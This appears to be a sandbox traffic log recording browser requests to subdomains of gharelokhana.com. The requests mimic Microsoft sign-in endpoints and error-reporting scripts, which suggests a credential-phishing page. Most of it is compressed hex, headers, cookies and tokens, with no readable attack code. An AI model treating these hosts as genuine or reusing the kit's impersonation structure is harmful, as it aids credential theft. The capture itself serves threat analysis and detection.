2024-12-04 15:15:41 UTC	813	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:41 GMT Content-Type: application/x-javascript Content-Length: 116322 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 15 Aug 2024 17:52:53 GMT etag: 0x8DCBD53169C0B8E x-ms-request-id: e0c9ddc8-701e-003c-0bdb-44ea91000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151541Z-16c5c9558c6dnn9xhC1DUSk86w00000005x000000000c1q7 x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:41 UTC	13647	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec 7d 5b 5b db 48 b6 e8 fb fe 15 b6 a6 c7 2d c5 85 b1 0c 18 90 11 1e 92 90 1e 66 92 c0 06 d2 3d 3d 84 c9 27 ec 32 56 62 24 8f 2e 5c 1a 7b ff f6 b3 d6 aa 2a a9 24 cb 60 d2 bd cf 79 38 d3 5f 07 eb 52 aa 7b ad fb 65 fd 55 fd bf 6a af 6a 6b ab ff 57 3b 3b 3f 38 3d af 1d bf ab 9d ff f5 e8 f4 6d ed 04 ee 7e ad 7d 3c 3e 3f 7a 73 b8 7a 3d d8 28 fe 3b 1f fb 71 6d e4 4f 78 0d 7e af bc 98 0f 6b 61 50 0b a3 9a 1f 0c c2 68 1a 46 5e c2 e3 da 0d fc 8d 7c 6f 52 1b 45 e1 4d 2d 19 f3 da 34 0a bf f2 41 12 d7 26 7e 9c c0 47 57 7c 12 de d5 4c a8 2e 1a d6 4e bc 28 79 a8 1d 9d 58 2d a8 9f 43 6d fe b5 1f c0 d7 83 70 fa 00 d7 e3 a4 16 84 89 3f e0 35 2f 18 52 6d 13 b8 09 62 5e 4b 83 21 8f 6a 77 63 7f 30 ae 7d f0 07 51 18 87 a3 a4 16 f1 01 f7 6f a1 91 Data Ascii: }[[H-f=='2Vb$.\{*$`y8_R{eUjjkW;;?8=m~}<>?zsz=(;qmOx~kaPhF^\|oREM-4A&~GW\|L.N(yX-Cmp?5/Rmb^K!jwc0}Qo
2024-12-04 15:15:41 UTC	16384	IN	Data Raw: 7c 73 fc f1 ec fc f4 d3 9b f3 e3 53 e7 9a 9d 1e fe ed f0 cd f9 d1 f1 c7 2f 87 3f 1f 7e 3c 77 6e d9 d9 a7 d7 6f de 1f 9c 9d 1d 7d fc c9 79 78 49 10 be 62 8a d9 2c b2 6b b7 4b c9 f4 84 0a e3 99 74 6e b9 0c 19 58 a0 eb 38 13 20 17 23 df 1a f4 12 c5 36 a9 04 87 e2 01 ea 0a 31 e1 6b 82 c2 b8 00 0d b3 57 cf 85 ae a2 8e a2 1a a1 90 66 4b 6e 64 66 50 c0 b8 2c ba 7f a5 39 33 16 79 f1 8c 65 11 01 f3 b3 67 77 55 e2 0d 0a 1b fa 7c 76 1c c5 1b a2 02 1a f7 13 8a 3b 95 41 39 d2 9f 89 16 57 46 fa fa 0f 50 4d 88 42 5f 4a 9b 26 56 87 e4 c2 1a ca c1 88 88 f4 69 21 82 9e 28 fb 27 6c 4b 46 0b aa a1 78 3e 20 96 36 41 f5 59 2d e2 03 0e 47 27 7a 3e 03 4f 26 e6 f9 ff 25 64 dc ff b5 20 31 c5 1d a2 8b 29 97 b8 92 e5 11 26 be 37 2c c8 77 04 04 a1 be 54 c4 04 a9 8c 62 47 85 7f 7f 74 Data Ascii: \|sS/?~<wno}yxIb,kKtnX8 #61kWfKndfP,93yegwU\|v;A9WFPMB_J&Vi!('lKFx> 6AY-G'z>O&%d 1)&7,wTbGt
2024-12-04 15:15:42 UTC	16384	IN	Data Raw: 20 26 9e b6 98 f4 70 d8 54 ad 30 26 87 61 e9 81 62 01 3f 9e 02 88 c6 82 cd b6 0d 17 c6 c3 df 0c b8 e4 1c 2e 3a e2 ca 04 4b 4e e7 d8 0e 16 83 28 bd 2a 1c 72 80 03 db d9 23 25 05 3d 8b 7a 70 32 f9 c8 ca 61 4d e2 18 f9 50 62 ec 22 ba c2 83 40 f9 0c 12 9c 73 0d 67 03 9c d1 e3 23 ff d2 e3 63 8b 97 59 68 73 ad 08 7a f2 25 78 04 e3 8f ac d1 36 c1 4e 5a 2b a1 7e 74 2e 91 2a 39 e1 a5 a3 01 6f 96 0e b2 63 eb 65 1b bc 39 5f 16 81 1f 1d b6 ac 34 60 8d 88 94 51 c6 9b 58 e4 42 e9 c0 91 53 7c f1 c5 ec ea 2b b3 9f 41 ec 66 ee 41 1b ce 76 58 43 fe db 52 a2 c6 cf 54 a2 e6 b5 bb 6d 51 bb 88 1a 0f 5e 4f 2a 31 ef 67 3c df 4e 8c 72 56 8e 7a 04 6e 3f cc 65 76 bf 5c f2 ea 31 89 6d 15 e6 36 ff 65 bc fa 3f d5 86 b1 68 10 fb 97 34 63 fc 53 61 1c 02 4c d0 dd 0b 40 fc 9b c0 56 b9 af Data Ascii: &pT0&ab?.:KN(r#%=zp2aMPb"@sg#cYhsz%x6NZ+~t.9oce9_4`QXBS\|+AfAvXCRTmQ^O*1g<NrVzn?ev\1m6e?h4cSaL@V
2024-12-04 15:15:42 UTC	16384	IN	Data Raw: ef 6f 6f f3 b3 93 96 88 74 7b db 7b fc ec dc 43 a5 fb 34 40 95 14 6a 63 40 4e 1e 9d 4c e1 a0 07 3a 9c 34 8d d1 c2 69 9a 34 5f 85 45 f8 43 1c dd c2 89 9a 34 15 f0 e0 3c 55 47 c0 4d 30 31 60 76 15 cc 8c ab 6b 80 c7 8d 40 03 76 09 0c d7 0d 73 b2 28 8f 7f 46 cd 84 84 29 bb e5 0f ae c3 bb 97 0b 00 07 06 25 75 af d0 5b fa 4d 52 c0 51 7f 41 97 b9 b8 34 16 d1 85 33 64 88 da b4 3a f5 2b c3 bc 90 05 c2 2a b2 64 96 d4 c7 83 02 a6 b0 7e 09 27 d0 a5 70 9a 2c ed 35 1c d9 6b 18 e7 a8 cd c7 42 0d 23 1e 2c 31 26 57 03 2c 20 fe 50 64 61 92 43 23 bf 5f 0c 30 9b 20 ba eb 62 5c d6 e3 e3 8d 59 ee 13 ad df 47 f4 64 9d 3f 4a 02 d2 3f b3 d8 c8 27 78 85 41 ab eb c0 54 de f6 1e 2c d0 f8 a8 84 9c 1b 65 4a 13 a2 41 13 37 66 57 9a 30 1d d3 cd 19 ce fa 4c fc 4c d0 74 70 ef 62 36 40 f6 Data Ascii: oot{{C4@jc@NL:4i4_EC4<UGM01`vk@vs(F)%u[MRQA43d:+*d~'p,5kB#,1&W, PdaC#_0 b\YGd?J?'xAT,eJA7fW0LLtpb6@
2024-12-04 15:15:42 UTC	2737	IN	Data Raw: 55 6a b2 2e 2c 53 ff 05 81 b5 59 54 20 09 80 79 f9 2c b4 dd 7d 45 8f 16 96 38 86 6a b3 40 7f aa 52 cb 50 55 86 7a 61 fe ed fc d5 4b 43 81 82 b1 7a d6 9d 36 c5 de 9b c7 6e 8a 61 c8 73 0f 4e 9d f9 45 89 67 e3 87 c2 1d 94 03 d4 ab 9d 44 94 80 0b 19 37 45 c4 20 86 25 4f 36 b0 72 d3 97 f1 93 a9 f9 c9 c2 ae 4c 07 f2 37 6e d6 12 2c 98 97 40 15 32 8b d5 32 ca 84 42 ab 14 f7 0b aa d9 4e fc 89 4d 80 97 a8 fb 47 cf 32 e1 18 ff ca 37 52 ee f6 75 1e 50 9b 9b 94 53 47 b0 2f 3a 2e 08 c2 45 88 2b 4c e7 0b 11 e5 1a b1 7c f9 c6 b4 eb c6 0e eb df 17 f1 0f 54 a6 5b 93 b3 02 7e 2a a3 32 37 fb 2d 38 ab 5b f7 d6 b4 bd be 7d 34 a3 55 63 ac 18 da ee 96 46 e7 26 be 88 87 39 46 8d c1 3f c4 2d 34 08 9f 6b 31 6f d0 f7 a0 fc 0b 51 cc f2 f1 d9 78 ff f7 30 75 bf 2d 2d 5d 35 48 fd 23 b1 Data Ascii: Uj.,SYT y,}E8j@RPUzaKCz6nasNEgD7E %O6rL7n,@22BNMG27RuPSG/:.E+L\|T[~*27-8[}4UcF&9F?-4k1oQx0u--]5H#
2024-12-04 15:15:42 UTC	16384	IN	Data Raw: 08 b3 03 3f 49 a7 48 44 0a 4a e6 9d 56 d6 02 ae 5c 2d f8 c0 02 06 d6 f1 cc 38 23 d1 c0 da 79 62 d5 ab e1 3d ee 78 8a 9e 83 7e f3 6d be 49 8c 6e 09 23 d0 6f af 6a 4b 29 bc 08 06 58 55 bf f0 c0 94 6e e9 68 90 7a 59 0b 18 83 56 a5 f3 b4 dc 79 6d 68 70 83 38 5e 56 e8 a4 0c 46 23 76 93 7e 83 fa 97 e9 ec 18 31 57 e2 17 e1 93 fb ff 9d f4 13 04 4b 64 eb 08 42 42 a7 15 17 ba 28 65 bf cb 5a d1 02 10 e3 15 3c 4e bb 81 c7 a9 b1 06 c0 e3 6c d7 79 1c 2b ac 96 01 8f 73 56 29 5b c1 43 30 ff 40 e9 95 7c d4 13 69 f8 97 00 b6 48 22 d5 eb 47 55 df 55 8a 4a 8b b8 ee fe 3e 22 85 33 de ff a4 d1 2b 61 2b e7 a9 bf 7f 0c 40 7f e2 1f 1c 15 31 b0 d9 51 a1 54 75 d7 29 2c 28 88 ba c8 b8 65 86 2d d5 da 46 44 47 af ff 8a 17 f1 8f 88 1a 16 e6 a8 9b 5d 3a f4 d5 c6 63 3a 3b 78 2e 37 e9 7a Data Ascii: ?IHDJV\-8#yb=x~mIn#ojK)XUnhzYVymhp8^VF#v~1WKdBB(eZ<Nly+sV)[C0@\|iH"GUUJ>"3+a+@1QTu),(e-FDG]:c:;x.7z
2024-12-04 15:15:42 UTC	16384	IN	Data Raw: 41 42 b1 21 5f 63 49 e8 bb b7 24 f4 ad ee 66 84 be 24 e2 4d 09 7d eb e8 0d d7 37 47 ba 46 b6 3a 1a 0a 7e c7 aa a9 ec 1d 3f 09 d8 d0 7c 67 85 23 38 e3 1e 56 01 a3 3e 4c 11 35 98 b1 46 16 0a 2b 36 86 5e f4 04 ae e8 03 d7 33 42 db 23 a0 98 58 1f ad 8e 22 3d 6d 17 db 6f d9 f0 80 9b e8 8d 70 66 7d 73 94 b6 c6 75 80 04 a7 72 d3 bc 9b cf 3d dd 4f 5b e3 06 f4 58 5a e3 fa a6 df 9d 71 6b 5c 5f 31 0c 63 e2 6d df 4c 99 8b c5 6a ab 11 9b b0 1b 8e b9 28 9d 98 9e aa d8 b9 6b f9 86 3e d4 6f 4a 13 e4 e0 28 b7 ca e4 f0 a6 3d 29 16 d9 18 90 db 04 a5 b9 23 94 e6 d2 e8 bb 93 ab 65 9e 76 bc 11 cf 4a b4 47 e0 4d ec 75 84 a7 58 9f 36 32 5e fc 37 c9 8f ea 8b fc 76 a3 22 dc 1c c9 56 30 e5 e6 d8 40 5f de 91 c4 73 53 a2 01 f7 b9 12 a3 59 3b 10 6e 8e a8 cd b8 a3 ca 4d 83 74 a9 00 6a Data Ascii: AB!_cI$f$M}7GF:~?\|g#8V>L5F+6^3B#X"=mopf}sur=O[XZqk\_1cmLj(k>oJ(=)#evJGMuX62^7v"V0@_sSY;nMtj
2024-12-04 15:15:42 UTC	16384	IN	Data Raw: a7 d7 c7 17 17 c7 7f 5e bf fe f4 e6 cd e9 c5 f5 6f 67 a7 bf 5f a2 ef 5b fe 97 c7 ca 97 78 96 90 2a 7a 01 e3 85 56 d3 f0 3b 15 fa 0e 1a 0e d7 92 2f b6 67 68 e7 9e 05 e8 be 22 f2 c0 a8 3a ab e3 d5 6a 9c 5e 11 73 a8 a5 6c 8d 84 38 44 1a 7d 50 de 45 01 5f 68 13 eb e3 2a 92 a1 a8 53 b4 8f 5c 45 1b 31 d0 b5 df 7d cf 1d 6e f1 da 1a 37 5a 6a f7 0e 1d 80 43 82 b4 62 ef ca f4 bb 3d 00 42 94 d0 02 55 b0 9a 39 64 0a 2d d4 e2 bc 4b 32 df ef 2e b9 4f ae 83 22 48 bc b4 24 07 94 1b 0b 77 51 94 a0 02 dc 4d 5e ec bf 86 c9 4c a5 99 37 92 93 30 6e 57 b7 8c b6 75 04 a3 ec 61 ca 51 bf eb 28 38 bc 47 19 39 54 58 48 8b 84 aa 06 17 76 e9 c6 c6 d2 9e c0 03 3a 70 3d 1c 89 af fc 97 e9 77 b2 6a 4d 2f 64 45 e4 f9 69 d4 63 fa 5d 38 7f 34 6b c2 77 a9 59 93 3e 98 bb 22 cf 4f 03 23 9d 4d Data Ascii: ^og_[xzV;/gh":j^sl8D}PE_hS\E1}n7ZjCb=BU9d-K2.O"H$wQM^L70nWuaQ(8G9TXHv:p=wjM/dEic]84kwY>"O#M
2024-12-04 15:15:42 UTC	1634	IN	Data Raw: 0e cf 95 8e 9e 90 ab a2 bc c7 fb c9 55 62 18 ef 67 57 09 5b bc 0f ae 94 59 7b 9f 17 f7 79 26 f9 af b4 7d f9 53 b4 c9 96 f5 9f a5 22 7a ef 4e 13 87 e8 b7 9b 38 fc 06 e3 06 ea 4b 85 7d 83 ec 4d c1 cc 81 32 ff 7e 4b 87 e2 48 17 7f 69 dd fd a5 75 57 d4 ba 2b 1b 06 fd 09 a6 2f d9 7f c2 4c e1 2f c3 9a ff 22 c3 9a 4e 67 73 93 2d 6b c8 29 c7 54 ba db 98 48 7b 9a d9 0a 63 99 95 66 c0 0f 36 91 05 c6 35 2b 9a c4 08 0f 08 be b5 db da 6c 6d 74 a4 4b 5e f2 9c 90 b1 d4 10 98 c7 73 76 4a 29 06 81 ac 78 54 6d 88 a2 f2 de a1 bb 8d 3c 74 e4 a3 2f 01 a5 27 1b 09 3d d9 d0 8f 96 f4 64 33 3f 64 0e 9d ce 51 a4 a9 32 e9 ce a1 9f f9 50 ce 53 ef 64 2e a9 de 80 57 4b d4 31 17 db e8 b1 a5 78 fe aa 71 c2 e2 c1 75 c6 9a 38 3a 55 87 2b 2b d7 93 15 5d 4c 38 29 d3 5d 66 91 65 42 25 ab ca Data Ascii: UbgW[Y{y&}S"zN8K}M2~KHiuW+/L/"Ngs-k)TH{cf65+lmtK^svJ)xTm<t/'=d3?dQ2PSd.WK1xqu8:U++]L8)]feB%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49790	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:40 UTC	802	OUT	GET /shared/1.0/content/images/check_small_48540c930333871c385fcba2c659ccdb.svg HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:41 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:40 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F48118378 x-ms-request-id: 1e182201-601e-0065-50e5-451aad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151540Z-16c5c9558c69m842hC1DUSkb9w00000001w000000000a6bn x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:41 UTC	1016	IN	Data Raw: 33 66 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 5d 96 c1 8e dc 36 0c 86 ef 05 fa 0e c6 f4 ae 21 29 51 12 8b 4c 0e f5 75 f2 02 b9 15 c8 76 67 81 cd 6e d0 0c 32 79 fc 90 32 45 bb 3d d9 92 65 91 ff c7 9f b2 3f 7c ff f1 bc 3c 5e be dc 6f 97 13 e6 d3 72 7b 7a 79 be dd b7 fb 1f 2f 4f 8f bf de 7f 5e 4e b0 c0 82 79 b1 b9 7f 5e 5e 5f 2f a7 b7 f7 b7 a7 d3 f2 f3 eb eb db f7 cb e9 76 bf 7f fb f3 7c 7e 3c 1e e9 91 d3 fb bf cf 67 02 80 b3 6e 7c fa f8 fb 6f 1f be fd 7d bf 2d 5f 2e a7 4f 92 4a 2d b9 2e 39 b5 56 7b bd 22 24 c8 5c 97 92 72 e9 58 ae 9c a8 23 f1 22 09 81 b8 5c 29 c9 58 5f 53 eb 5c cb 35 27 d6 e5 45 c7 84 3a 1f eb 5b 12 16 a9 d7 ff ed ff f9 53 4d bc c0 da 12 48 ad 5d 25 b4 54 1b d1 a2 61 5b a7 de fa d2 13 51 d5 0c 20 91 a6 50 f3 da 35 14 88 2d c9 bd 11 34 cd 85 Data Ascii: 3f1]6!)QLuvgn2y2E=e?\|<^or{zy/O^Ny^^_/v\|~<gn\|o}-_.OJ-.9V{"$\rX#"\)X_S\5'E:[SMH]%Ta[Q P5-4
2024-12-04 15:15:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49793	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:40 UTC	796	OUT	GET /shared/1.0/content/images/close_790189870c9543725dc3f5a15fb25e46.svg HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:41 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:41 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F4823AA6E x-ms-request-id: 2ef4f17a-001e-000a-74d1-44584c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151541Z-16c5c9558c6h56tqhC1DUStngc00000005h0000000003yxh x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:41 UTC	196	IN	Data Raw: 62 65 0d 0a 1f 8b 08 00 00 00 00 00 00 ff 75 8f c1 0e 82 30 0c 86 5f 65 a9 57 b2 75 23 62 30 1b 07 ef be 80 37 a2 93 2d 41 20 ac 61 3c be 9b 88 37 d3 26 ed df ef 4f 9b ea b0 74 6c 7d f5 43 30 e0 88 a6 b3 10 31 46 1e 4b 3e ce 9d 50 88 28 92 03 58 f4 0f 72 06 a4 02 e6 ac ef 1c 6d fd e2 6d bc 8c ab 01 64 c8 a4 4a 09 8d 26 4f bd 6d da 10 2c 05 2d 36 a5 67 7b a7 7f 5b 9e be ef 0d 0c e3 60 41 34 7a 6a c9 b1 87 81 6b c5 4f 45 55 48 55 48 c9 4b ac 7f 45 a5 69 62 bc aa 65 16 b8 83 23 2f 13 c1 22 83 0f c4 24 f3 f0 cb 31 bb 33 b8 ed 27 0f aa ca 91 af e6 37 9b 37 22 dd b4 90 0e 01 00 00 0d 0a Data Ascii: beu0_eWu#b07-A a<7&Otl}C01FK>P(XrmmdJ&Om,-6g{[`A4zjkOEUHUHKEibe#/"$13'77"
2024-12-04 15:15:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49792	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:40 UTC	1208	OUT	POST /common/handlers/watson HTTP/1.1 Host: fdgfhvcfdgfhhjh.gharelokhana.com Connection: keep-alive Content-Length: 5596 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: c11cfdea-9249-4b4b-a6cc-f56885e42ad8 canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFevl0u2DzByecDSBIohC5JKRxSpmcxciVaxfsO7sB82nPg6q8OVkRVji_9wN8qQgHw1D6P6NIUQzIs4HZak7eWRpiBmgBrlN99YY6DORKoV8Xc-T0YNuyEIxVdKhIqpFNWsVDbez7g79GbMq-BaiP0pPBuFWnw3KKDrZJw4yc24HLR2xFqM-Dt9WkOnnLwYcCk22udSiOycvRs9WIPeQi5vSAA Content-Type: application/json; charset=UTF-8 hpgid: 1117 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 2000 sec-ch-ua-platform: "Windows" Origin: https://fdgfhvcfdgfhhjh.gharelokhana.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:40 UTC	5596	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 35 62 61 33 63 37 35 63 2d 34 61 63 36 35 64 33 39 2e 67 68 61 72 65 6c 6f 6b 68 61 6e 61 2e 63 6f 6d 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 6a 73 2f 43 6f 6e 76 65 72 67 65 64 45 72 72 6f 72 5f 43 6f 72 65 5f 4d 33 78 38 6f 37 45 61 56 44 61 42 38 47 4f 68 48 73 72 50 49 41 32 2e 6a 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 43 6f 6e 76 65 72 67 65 64 45 72 72 6f 72 22 2c 22 73 63 22 3a 31 30 30 30 Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js'], reloading from fallback CDN endpoint","wec":"56","idx":1,"pn":"ConvergedError","sc":1000
2024-12-04 15:15:41 UTC	829	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:41 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache pragma: no-cache p3p: CP="DSP CUR OTPi IND OTRi ONL FIN" client-request-id: c11cfdea-9249-4b4b-a6cc-f56885e42ad8 x-ms-request-id: 17eacc02-e453-445e-acd9-1b25dfd90800 x-ms-ests-server: 2.1.19492.3 - NEULR1 ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://5ff4d3f4-4ac65d39.gharelokhana.com/api/report?catId=GW+estsfd+SEC"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P referrer-policy: strict-origin-when-cross-origin access-control-allow-origin: * access-control-allow-headers: *
2024-12-04 15:15:41 UTC	272	IN	Data Raw: 31 30 39 0d 0a 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 37 6f 73 6d 38 48 66 6d 62 33 54 52 68 46 4c 49 79 72 5a 32 4b 66 4d 55 4c 41 6a 6f 37 39 51 66 4f 31 66 31 6b 75 78 6e 65 76 73 5f 34 47 49 38 76 30 6c 44 63 68 49 7a 6a 46 6b 4b 37 53 38 59 68 75 33 65 41 4f 4d 39 6c 6c 50 6d 64 48 76 47 56 4b 39 4b 69 51 39 57 54 68 6c 30 58 51 76 39 4a 7a 49 45 53 64 2d 55 6a 37 31 37 56 4f 45 6d 56 76 33 4a 53 42 75 33 77 36 5a 64 78 62 65 78 58 61 46 5f 45 6c 47 71 65 74 39 51 51 72 72 45 74 4a 71 59 57 6a 4d 73 4b 51 69 45 36 35 43 52 49 57 56 51 31 62 52 77 73 71 59 71 74 6e 36 63 59 76 39 56 38 44 6f 31 4f 62 63 6f 6c 64 76 69 65 56 4d 73 41 74 2d 54 55 34 36 Data Ascii: 109{"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe7osm8Hfmb3TRhFLIyrZ2KfMULAjo79QfO1f1kuxnevs_4GI8v0lDchIzjFkK7S8Yhu3eAOM9llPmdHvGVK9KiQ9WThl0XQv9JzIESd-Uj717VOEmVv3JSBu3w6ZdxbexXaF_ElGqet9QQrrEtJqYWjMsKQiE65CRIWVQ1bRwsqYqtn6cYv9V8Do1ObcoldvieVMsAt-TU46
2024-12-04 15:15:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49795	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:40 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:41 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5f5d2afa-901e-0015-66cc-45b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151541Z-1746fd949bdxk6n6hC1EWRdr8c000000015g00000000hvdc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:41 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 